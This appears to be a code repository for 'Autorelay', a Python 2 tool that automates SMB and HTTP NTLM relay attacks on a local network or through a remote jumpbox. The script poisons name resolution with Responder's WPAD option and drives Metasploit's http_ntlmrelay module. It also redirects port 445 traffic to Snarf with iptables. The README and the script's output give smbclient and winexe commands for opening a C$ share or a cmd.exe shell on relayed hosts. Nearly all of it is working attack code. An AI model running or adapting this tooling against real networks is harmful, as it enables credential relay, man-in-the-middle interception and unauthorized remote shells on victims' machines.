├── .gitignore ├── README.md ├── autorelay.py └── requirements.txt /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | *.conf 3 | *.xml 4 | *.swp 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Autorelay 2 | 3 | Automatically performs the SMB relay attack either locally or on a remote device. Uses Responder to poison, Metasploit for HTTP NTLM relay (rather than just SMB relay), and Snarf for the MITM'ing. When using locally, only requires an interface and an nmap XML file or a list of IPs on the target network to determine SMB hosts. When used for SMB relaying on a jumpbox, requires the IP address of the jumpbox. 4 | 5 | 6 | ## Usage 7 | 8 | #####Local 9 | 10 | * sudo ./autorelay.py -x local-network.xml -i eth0 11 | 12 | * sudo ./autorelay.py -l ips.txt -i eth0 ** -l option needs some wee fixing ** 13 | 14 | #####Remote 15 | 16 | * sudo ./autorelay.py -x remote-network.xml -i eth0 -r 95.34.53.243 17 | 18 | * sudo ./autorelay.py -l ips.txt -i eth0 -r 95.34.53.243 ** -l option needs some wee fixing ** 19 | 20 | --- 21 | 22 | 23 | Point your local browser to http://localhost:4001 and refresh it periodically to see your MITM'd connections 24 | 25 | 26 | After a connection is expired (or you expire it), click "choose" 27 | 28 | 29 | Run this command locally if relaying locally or run it on the jumpbox if you're relaying remotely: smbclient -U a%a //127.0.0.1 30 | 31 | 32 | Alternatively, if you gain admin rights through the SMB connection spawn a shell with: winexe -U a%a //127.0.0.1 -U cmd.exe 33 | 34 | -------------------------------------------------------------------------------- /autorelay.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import os 4 | import sys 5 | import getpass 6 | import argparse 7 | import time 8 | import urllib2 9 | import paramiko 10 | from scp import SCPClient, SCPException 11 | from shutil import copyfile, move 12 | from subprocess import Popen, PIPE 13 | from sshtunnel import SSHTunnelForwarder 14 | from libnmap.process import NmapProcess 15 | from netifaces import interfaces, ifaddresses, AF_INET 16 | from libnmap.parser import NmapParser, NmapParserException 17 | 18 | def parse_args(): 19 | ''' 20 | Create the arguments 21 | ''' 22 | parser = argparse.ArgumentParser() 23 | parser.add_argument("-x", "--nmapxml", help="Location of nmap XML file") 24 | parser.add_argument("-f", "--home-dir", default='/opt/', help="The folder to install the various tools to; e.g. -d '/opt/'") 25 | parser.add_argument("-i", "--interface", help="The interface that Responder and Snarf will use") 26 | parser.add_argument("-r", "--remote", help="The jumpbox IP address (this will be the local VPN IP if you are connecting through a VPN, not the main network interface IP)") 27 | parser.add_argument("-p", "--port", type=int, default=22, help="The jumpbox SSH port") 28 | parser.add_argument("-l", "--list-ips", help="List of hosts Snarf should poison") 29 | return parser.parse_args() 30 | 31 | def get_git_project(github_url, home_dir): 32 | ''' 33 | Install git projects and check for errors 34 | ''' 35 | proj_name = github_url.split('/')[-1] 36 | folder = home_dir+proj_name+'/' 37 | exists = os.path.isdir(folder) 38 | if exists == False: 39 | cmd = 'git clone {} {}'.format(github_url,folder) 40 | out, err, pid = run_cmd(cmd) 41 | install_checker(err, proj_name) 42 | 43 | def install_checker(err, proj_name): 44 | ''' 45 | Check for errors after installing git projects 46 | ''' 47 | if err != '': 48 | # git will pipe "Cloning into '/opt/path'..." into err 49 | # for some reason 50 | if 'Cloning into' not in err: 51 | sys.exit('[-] Failed to install '+proj_name+':'+'\n\n'+err) 52 | 53 | def create_smb_hostfile(report, home_dir): 54 | ''' 55 | Read the nmap XML and parse out SMB clients 56 | ''' 57 | smb_hosts = [] 58 | for host in report.hosts: 59 | ip = host.address 60 | if host.is_up(): 61 | for s in host.services: 62 | if s.port == 445 and s.state == 'open': 63 | smb_hosts.append(host.address) 64 | 65 | with open('smb_hosts.txt'.format(home_dir), 'w') as smb: 66 | for h in smb_hosts: 67 | smb.write(h+'\n') 68 | 69 | print '[+] {} SMB hosts found from Nmap scan'.format(len(smb_hosts)) 70 | return 'smb_hosts.txt' 71 | 72 | def get_nodejs(): 73 | ''' 74 | Install nodejs 75 | ''' 76 | cmd = 'apt-get install nodejs -y' 77 | out, err, pid = run_cmd(cmd) 78 | install_checker(err, 'nodejs') 79 | if 'is already the newest version' in out: 80 | print '[*] Nodejs already installed' 81 | elif 'Setting up nodejs' in out: 82 | print '[*] Successfully installed nodejs' 83 | 84 | def run_cmd(cmd): 85 | ''' 86 | Runs a command and returns the output and error msgs 87 | If given a list of commands, it just runs them all and returns nothing 88 | ''' 89 | # Only cleanup() will give it a list 90 | if type(cmd) == list: 91 | for c in cmd: 92 | print '[*] Running: {}'.format(c) 93 | os.system(c) 94 | else: 95 | print '[*] Running: {}'.format(cmd) 96 | proc = Popen(cmd.split(), stdout=PIPE, stderr=PIPE) 97 | pid = proc.pid 98 | out, err = proc.communicate() 99 | return out, err, pid 100 | 101 | def start_msf_http_relay(ip, home_dir): 102 | ''' 103 | Starts http relaying with msfconsole 104 | ''' 105 | options = 'use auxiliary/server/http_ntlmrelay\n' 106 | options += 'set URIPATH /wpad.dat\n' 107 | options += 'set SRVHOST {}\n'.format(ip) 108 | options += 'set SRVPORT 80\n' 109 | options += 'set RHOST {}\n'.format(ip) 110 | options += 'set RPORT 445\n' 111 | options += 'set RTYPE SMB_LS\n' 112 | options += 'run' 113 | with open('{}http_relay.rc'.format(home_dir), 'w') as f: 114 | f.write(options) 115 | 116 | # Start MSF on jumpbox 117 | # MUST 'msfconsole -L' or else screen exits as soon as it 118 | # reaches end of script 119 | cmd = 'screen -S http-relay -dm msfconsole -L -r {}http_relay.rc'.format(home_dir) 120 | out, err, msf_pid = run_cmd(cmd) 121 | return msf_pid 122 | 123 | def start_responder(iface, home_dir): 124 | ''' 125 | Starts Responder for relaying SMB 126 | ''' 127 | github_url = 'https://github.com/SpiderLabs/Responder' 128 | get_git_project(github_url, home_dir) 129 | adjust_responder_conf(home_dir) 130 | 131 | cmd = 'screen -S relay-responder -dm python \ 132 | {}Responder/Responder.py -I {} -r -d --wpad'.format(home_dir, iface) 133 | out, err, resp_pid = run_cmd(cmd) 134 | return resp_pid 135 | 136 | def adjust_responder_conf(home_dir): 137 | ''' 138 | Changes Responder.conf to work with snarf 139 | ''' 140 | relay_conf = [] 141 | r = urllib2.urlopen('https://raw.githubusercontent.com/SpiderLabs/Responder/master/Responder.conf') 142 | conf_file = r.read() 143 | with open('orig-Responder.conf', 'w') as o: 144 | o.write(conf_file) 145 | copyfile('orig-Responder.conf', 'copy-Responder.conf') 146 | with open('copy-Responder.conf', 'r') as c: 147 | for line in c.readlines(): 148 | if 'SMB = On\n' == line: 149 | relay_conf.append('SMB = Off\n') 150 | elif 'HTTP = On\n' == line: 151 | relay_conf.append('HTTP = Off\n') 152 | elif 'HTTPS = On\n' == line: 153 | relay_conf.append('HTTPS = Off\n') 154 | else: 155 | relay_conf.append(line) 156 | with open('Responder.conf', 'w') as r: 157 | for line in relay_conf: 158 | r.write(line) 159 | 160 | move('Responder.conf', '{}Responder/Responder.conf'.format(home_dir)) 161 | 162 | def cleanup(pids, home_dir): 163 | ''' 164 | Kills all the processes created 165 | ''' 166 | print '[*] Cleaning up...' 167 | for p in pids: 168 | print '[*] Killing {}'.format(p[1]) 169 | os.system('kill {}'.format(p[0])) 170 | 171 | cmds = ["iptables -t nat -F", 172 | "iptables -t nat -X"] 173 | run_cmd(cmds) 174 | 175 | orig_conf = os.getcwd()+'/orig-Responder.conf' 176 | resp_conf = '{}Responder/Responder.conf'.format(home_dir) 177 | move(orig_conf, resp_conf) 178 | os.remove('copy-Responder.conf') 179 | print '[*] Done' 180 | 181 | def confirm(pids): 182 | ''' 183 | Confirms snarf, msfconsole, and responder are all running 184 | ''' 185 | errors = False 186 | print '\n[*] Confirming all tools are running...' 187 | for pid in pids: 188 | pid = pid 189 | proc_running = is_process_running(pid[0]) 190 | if proc_running == False: 191 | print '[-] Error: {} not running'.format(pid[1]) 192 | errors = True 193 | 194 | if errors == False: 195 | print ' \_ Confirmed' 196 | 197 | def is_process_running(process_id): 198 | try: 199 | os.kill(process_id, 0) 200 | return True 201 | except OSError: 202 | return False 203 | 204 | ################ 205 | # JUMPBOX CODE # 206 | ################ 207 | 208 | def jumpbox_ip_interface(ssh, iface): 209 | found = False 210 | cmd = 'ip addr' 211 | stdin, stdout, stderr = run_jumpbox_cmd(ssh, cmd, check_error=True) 212 | out = stdout.readlines() 213 | for l in out: 214 | l = l.split() 215 | if len(l) > 1: 216 | if iface in l[1]: 217 | found = True 218 | continue 219 | if found == True: 220 | if 'inet' in l[0]: 221 | # comes out as "10.0.0.1/25" so we get rid of /25 222 | ip = l[1].split('/')[0] 223 | return ip 224 | 225 | def remote_check_for_folder(ssh, folder, check_error=False): 226 | cmd = 'cd {}'.format(folder) 227 | stdin, stdout, stderr = run_jumpbox_cmd(ssh, cmd, check_error=False) 228 | cd_err = stderr.read() 229 | if 'No such file or directory' in cd_err: 230 | return False 231 | else: 232 | return True 233 | 234 | def remote_get_git_project(ssh, github_url, home_dir): 235 | proj_name = github_url.split('/')[-1] 236 | folder = remote_check_for_folder(ssh, '{}{}'.format(home_dir, proj_name)) 237 | if folder == False: 238 | cmd = 'cd {} && git clone {}'.format(home_dir, github_url) 239 | stdin, stdout, stderr = run_jumpbox_cmd(ssh, cmd, check_error=True) 240 | 241 | def run_jumpbox_cmd(ssh, cmd, check_error): 242 | print '[*] Running on jumpbox: {}'.format(cmd) 243 | stdin, stdout, stderr = ssh.exec_command(cmd) 244 | if check_error == True: 245 | get_errors(stderr) 246 | return (stdin, stdout, stderr) 247 | 248 | def ssh_L(remote_host, forw_port, user, pw): 249 | server = SSHTunnelForwarder((remote_host, 22), 250 | ssh_username=user, 251 | ssh_password=pw, 252 | remote_bind_address=('127.0.0.1', forw_port), 253 | local_bind_address=('127.0.0.1', forw_port)) 254 | return server 255 | 256 | def ssh_client(server, port, user, pw): 257 | ''' 258 | Creates the SSH client using paramiko 259 | ''' 260 | print '[*] Setting up the SSH connection...' 261 | client = paramiko.SSHClient() 262 | client.load_system_host_keys() 263 | # Auto add host keys to known_keys 264 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 265 | try: 266 | client.connect(server, port, user, pw) 267 | except paramiko.AuthenticationException: 268 | sys.exit('[-] Authentication failed') 269 | print ' \_ Done' 270 | return client 271 | 272 | def remote_start_msf_http_relay(ssh, scpc, j_local_ip, home_dir): 273 | options = 'use auxiliary/server/http_ntlmrelay\n' 274 | options += 'set URIPATH /wpad.dat\n' 275 | options += 'set SRVHOST {}\n'.format(j_local_ip) 276 | options += 'set SRVPORT 80\n' 277 | options += 'set RHOST {}\n'.format(j_local_ip) 278 | options += 'set RPORT 445\n' 279 | options += 'set RTYPE SMB_LS\n' 280 | options += 'run' 281 | with open('http_relay.rc', 'w') as f: 282 | f.write(options) 283 | 284 | # SCP the http_relay script up to jumpbox 285 | local_path = os.getcwd()+'/http_relay.rc' 286 | remote_path = '{}http_relay.rc'.format(home_dir) 287 | scpc.put(local_path, remote_path) 288 | 289 | # Start MSF on jumpbox 290 | # MUST 'msfconsole -L' or else screen exits as soon as it reaches end of script 291 | cmd = 'screen -S http-relay -dm msfconsole -L -r {}http_relay.rc'.format(home_dir) 292 | stdin, stdout, stderr = run_jumpbox_cmd(ssh, cmd, check_error=False) 293 | 294 | def get_errors(stderr): 295 | if stderr != None: 296 | err = stderr.readlines() 297 | if len(err) > 0: 298 | print '[!] Error:' 299 | for l in err: 300 | print ' '+l 301 | 302 | def remote_start_responder(ssh, scpc, iface, home_dir): 303 | github_url = 'https://github.com/SpiderLabs/Responder' 304 | remote_get_git_project(ssh, github_url, home_dir) 305 | 306 | remote_adjust_responder_conf(scpc, home_dir) 307 | 308 | cmd = 'screen -S relay-responder -dm python {}Responder/Responder.py -I {} -r -d --wpad'.format(home_dir, iface) 309 | stdin, stdout, stderr = run_jumpbox_cmd(ssh, cmd, check_error=True) 310 | 311 | def remote_adjust_responder_conf(scpc, home_dir): 312 | relay_conf = [] 313 | r = urllib2.urlopen('https://raw.githubusercontent.com/SpiderLabs/Responder/master/Responder.conf') 314 | conf_file = r.read() 315 | with open('orig-Responder.conf', 'w') as o: 316 | o.write(conf_file) 317 | copyfile('orig-Responder.conf', 'copy-Responder.conf') 318 | with open('copy-Responder.conf', 'r') as c: 319 | for line in c.readlines(): 320 | if 'SMB = On\n' == line: 321 | relay_conf.append('SMB = Off\n') 322 | elif 'HTTP = On\n' == line: 323 | relay_conf.append('HTTP = Off\n') 324 | elif 'HTTPS = On\n' == line: 325 | relay_conf.append('HTTPS = Off\n') 326 | else: 327 | relay_conf.append(line) 328 | with open('relay-Responder.conf', 'w') as r: 329 | for line in relay_conf: 330 | r.write(line) 331 | 332 | local_path = os.getcwd()+'/relay-Responder.conf' 333 | remote_path = '{}Responder/Responder.conf'.format(home_dir) 334 | scpc.put(local_path, remote_path) 335 | 336 | def remote_cleanup(ssh, scpc, forw_server, home_dir): 337 | print '[*] Cleaning up...' 338 | forw_server.stop() 339 | ssh.exec_command("ps aux | grep -i 'SCREEN -S snarf -dm nodejs /opt/snarf/snarf.js -f \ 340 | /opt/snarf/smb_hosts.txt' | grep -v grep | awk '{print $2}' | xargs kill") 341 | ssh.exec_command("ps aux | grep -i 'SCREEN -S http-relay -dm msfconsole -L -r \ 342 | /opt/http_relay.rc' | grep -v grep | awk '{print $2}' | xargs kill") 343 | ssh.exec_command("ps aux | grep -i 'SCREEN -S relay-responder -dm python \ 344 | /opt/Responder/Responder.py -I eth0 -r -d --wpad' | grep -v grep | awk '{print $2}' | xargs kill") 345 | ssh.exec_command("rm {}http_relay.rc".format(home_dir)) 346 | ssh.exec_command("iptables -t nat -F") 347 | ssh.exec_command("iptables -t nat -X") 348 | os.remove('copy-Responder.conf') 349 | 350 | local_path = os.getcwd()+'/orig-Responder.conf' 351 | remote_path = '{}Responder/Responder.conf'.format(home_dir) 352 | scpc.put(local_path, remote_path) 353 | print ' \_ Done' 354 | 355 | def remote_confirm(ssh): 356 | err = False 357 | print '\n[*] Confirming all tools are running...' 358 | stdin, stdout, stderr = ssh.exec_command("ps aux | grep -i 'SCREEN -S snarf -dm nodejs' \ 359 | | grep -v grep") 360 | if 'screen -s snarf -dm nodejs' not in stdout.read().lower(): 361 | print '[-] Error: Snarf not running on the remote device' 362 | err = True 363 | 364 | stdin, stdout, stderr = ssh.exec_command("ps aux | grep -i 'SCREEN -S http-relay -dm msfconsole \ 365 | -L -r' | grep -v grep") 366 | if 'screen -s http-relay -dm msfconsole' not in stdout.read().lower(): 367 | print '[-] Error: MSF http_relay not running on the remote device' 368 | err = True 369 | 370 | stdin, stdout, stderr = ssh.exec_command("ps aux | grep -i 'SCREEN -S relay-responder -dm \ 371 | python' | grep -v grep") 372 | if 'screen -s relay-responder -dm python' not in stdout.read().lower(): 373 | print '[-] Error: Responder not running on the remote device' 374 | err = True 375 | 376 | if err == False: 377 | print ' \_ Confirmed' 378 | 379 | 380 | #################### 381 | # END JUMPBOX CODE # 382 | #################### 383 | 384 | def remote_main(args): 385 | 386 | # Initial var setup 387 | home_dir = args.home_dir 388 | jumpbox_ip = args.remote 389 | iface = args.interface 390 | port = args.port 391 | forw_port = 4001 392 | user = raw_input('[+] Username for the remote jumpbox: ') 393 | pw = getpass.getpass() 394 | ssh = ssh_client(jumpbox_ip, port, user, pw) 395 | scpc = SCPClient(ssh.get_transport()) 396 | j_local_ip = jumpbox_ip_interface(ssh, iface) 397 | if j_local_ip == None: 398 | sys.exit('[-] Could not find local IP address for {}. Check function jumpbox_ip_interface()'.format(iface)) 399 | 400 | # Print vars 401 | print '[*] Jumpbox IP: {}'.format(jumpbox_ip) 402 | print '[*] Jumpbox local IP: {}'.format(j_local_ip) 403 | print '[*] Forwarding jumpbox port {} to local port {}'.format(forw_port, forw_port) 404 | 405 | # Get SMB hosts 406 | hostfile = get_SMB_hosts(args) 407 | 408 | # Get Snarf 409 | github_url = 'https://github.com/purpleteam/snarf' 410 | remote_get_git_project(ssh, github_url, home_dir) 411 | 412 | # Get Nodejs 413 | cmd = 'apt-get install nodejs -y' 414 | stdin, stdout, stderr = run_jumpbox_cmd(ssh, cmd, check_error=True) 415 | 416 | # Upload SMB hosts 417 | local_path = os.getcwd()+'/{}'.format(hostfile) 418 | remote_path = '{}snarf/{}'.format(home_dir, hostfile) 419 | try: 420 | scpc.put(local_path, remote_path) 421 | except SCPException: 422 | sys.exit('[-] Failed to copy smb_hosts.txt to the remote jumpbox') 423 | 424 | # Run Snarf 425 | cmd = 'screen -S snarf -dm nodejs {}snarf/snarf.js -f {}snarf/{} {}'.format(home_dir, home_dir, hostfile, j_local_ip) 426 | stdin, stdout, stderr = run_jumpbox_cmd(ssh, cmd, check_error=True) 427 | time.sleep(5) # Give snarf time to startup 428 | cmd = 'iptables -t nat -A PREROUTING -p tcp --dport 445 -j SNARF' 429 | stdin, stdout, stderr = run_jumpbox_cmd(ssh, cmd, check_error=True) 430 | 431 | # Start forwarding port 4001 432 | forw_server = ssh_L(jumpbox_ip, forw_port, user, pw) 433 | forw_server.start() 434 | 435 | # Start MSF http_relay 436 | remote_start_msf_http_relay(ssh, scpc, j_local_ip, home_dir) 437 | 438 | # Start Responder 439 | remote_start_responder(ssh, scpc, iface, home_dir) 440 | 441 | # Confirm everything's running 442 | remote_confirm(ssh) 443 | 444 | print '\n[+] Done! Point your browser to http://localhost:4001 and refresh it every few minutes to see MITM\'d SMB connections' 445 | print ' After a connection has expired or you manually expire and choose it run on the jumpbox:' 446 | print ' smbclient -U a%a //127.0.0.1/C$' 447 | print ' If the initiator of the SMB connection has admin rights try:' 448 | print ' winexe -U a%a //127.0.0.1/ cmd.exe' 449 | print '\n[*] Ctrl-C to cleanup' 450 | 451 | try: 452 | while 1: 453 | time.sleep(10) 454 | except KeyboardInterrupt: 455 | remote_cleanup(ssh, scpc, forw_server, home_dir) 456 | sys.exit() 457 | 458 | def get_SMB_hosts(args): 459 | if args.nmapxml: 460 | report = NmapParser.parse_fromfile(args.nmapxml) 461 | hostfile = create_smb_hostfile(report, args.home_dir) 462 | elif args.list_ips: 463 | hostfile = args.list_ips 464 | return hostfile 465 | 466 | def local_main(args): 467 | 468 | home_dir = args.home_dir 469 | iface = args.interface 470 | try: 471 | ip = ifaddresses(iface)[AF_INET][0]['addr'] 472 | except ValueError: 473 | sys.exit('[-] Provide a valid interface. See interfaces with `ip addr`') 474 | 475 | hostfile = get_SMB_hosts(args) 476 | 477 | # Get Snarf 478 | github_url = 'https://github.com/purpleteam/snarf' 479 | get_git_project(github_url, home_dir) 480 | 481 | # Get Nodejs 482 | get_nodejs() 483 | 484 | # Start MSF http_relay 485 | msf_pid = start_msf_http_relay(ip, home_dir) 486 | 487 | # Run Snarf 488 | cmd = 'screen -S snarf -dm nodejs {}snarf/snarf.js -f {} {}'.format(home_dir,hostfile,ip) 489 | time.sleep(1) # If this isn't here the PID of the snarf screen is -3 compared to ps faux?? 490 | out, err, snarf_pid = run_cmd(cmd) 491 | 492 | # Run Snarf iptables cmd 493 | time.sleep(5) # Give snarf time to startup 494 | cmd = 'iptables -t nat -A PREROUTING -p tcp --dport 445 -j SNARF' 495 | out, err, iptables_pid = run_cmd(cmd) 496 | 497 | # Start Responder 498 | resp_pid = start_responder(iface, home_dir) 499 | 500 | # Check that everything ran as it should 501 | # Need pid+1 because screen -Sdm causes a fork and execcve 502 | # forcing the real screen process to become pid+1 503 | pids = [(resp_pid+1, 'Responder'), 504 | (msf_pid+1, 'Metasploit http_relay'), 505 | (snarf_pid+1, 'Snarf')] 506 | confirm(pids) 507 | 508 | print '\n[+] Done! Point your browser to http://localhost:4001 and refresh it every few minutes to see MITM\'d SMB connections' 509 | print ' After a connection has expired or you manually expire and choose it run:' 510 | print ' smbclient -U a%a //127.0.0.1/C$' 511 | print ' If the initiator of the SMB connection has admin rights try:' 512 | print ' winexe -U a%a //127.0.0.1/ cmd.exe' 513 | print '\n[*] Ctrl-C to cleanup' 514 | 515 | try: 516 | while 1: 517 | time.sleep(10) 518 | except KeyboardInterrupt: 519 | cleanup(pids, home_dir) 520 | sys.exit() 521 | 522 | def main(args): 523 | 524 | # Initial var setup 525 | if os.geteuid(): 526 | sys.exit('[-] Run as root') 527 | if args.list_ips and args.nmapxml: 528 | sys.exit('[-] Choose to only parse either a list of IPs for Snarf to poison or an Nmap XML file\ 529 | that will be parsed for systems with port 445 open.') 530 | if not args.nmapxml and not args.list_ips: 531 | sys.exit('[-] Include an nmap XML file (-x nmap.xml) which will be parsed for IPs with port 445 open or include a list of IPs for Snarf (-l IPs.txt)') 532 | if not args.interface: 533 | sys.exit('[-] Include an interface for which Responder and Snarf will utilize, e.g. -i eth0') 534 | 535 | if args.remote: 536 | remote_main(args) 537 | else: 538 | local_main(args) 539 | 540 | main(parse_args()) 541 | 542 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | python_libnmap >= 0.6.3 2 | netifaces >= 0.10.4 3 | paramiko >= 1.15.3 4 | scp >= 0.10.2 5 | sshtunnel >= 0.0.7 6 | --------------------------------------------------------------------------------